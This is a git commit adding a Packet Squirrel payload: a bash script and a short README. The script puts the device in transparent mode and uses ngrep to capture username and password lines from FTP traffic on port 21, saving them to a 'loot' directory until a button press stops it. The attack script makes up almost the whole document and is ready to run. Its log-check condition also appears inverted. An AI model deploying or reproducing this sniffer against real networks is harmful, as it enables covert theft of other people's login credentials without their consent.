Update repos for Packet Squirrel Mk 2 release

This commit is contained in:
Mike Kershaw / Dragorn
2023-07-24 14:58:18 -04:00
parent 2181bf89e5
commit d3250b4165
56 changed files with 731 additions and 7 deletions

View File

@@ -0,0 +1,79 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# ngrep payload to snag creds
NGREP_OPTIONS=("-wiql" "user|pass" "port" "21")
CONDITION=""
WCNUM=3
BUTTON_WAIT="5s"
LOOT_DIR="/mnt/loot/ngrep"
LOG_FILE="${LOOT_DIR}/ngrep-${RANDOM}.log"
function syncFS() {
while true
do
sync
sleep 5
done
}
function setup() {
LED OFF
NETMODE TRANSPARENT
sleep 5
mkdir -p $LOOT_DIR
}
function checkLog() {
[[ -z $CONDITION ]] && {
grep -qi $CONDITION $LOG_FILE && {
return 0
}
} || {
[[ $(wc -l < $LOG_FILE) -gt $WCNUM ]] && {
return 0
}
}
return 1
}
function run() {
ngrep "${NGREP_OPTIONS[@]}" 2>&1 > $LOG_FILE &
npid=$!
while true
do
NO_LED=true BUTTON && {
checkLog && {
BUTTON $BUTTON_WAIT && {
LED FINISH
kill $npid
sleep 3
LED OFF
halt
}
} || {
LED FAIL
sleep 3
LED OFF
}
}
done
}
[[ ! -f /mnt/NO_MOUNT ]] && {
setup
syncFS &
run
} || {
LED FAIL
}

View File

@@ -0,0 +1,12 @@
# ngrep payload
Credits: Hak5Darren, Sebkinne
Small Edit: SebSeifert
# Description
Does packet sniffing stuff
If the Button is pressed you have x seconds to push the button one more time. If pressed the payload ends and cleans up. Else it keeps running.
## Options
BUTTON_WAIT = The seconds you can wait until the button must be pressed to end the payload.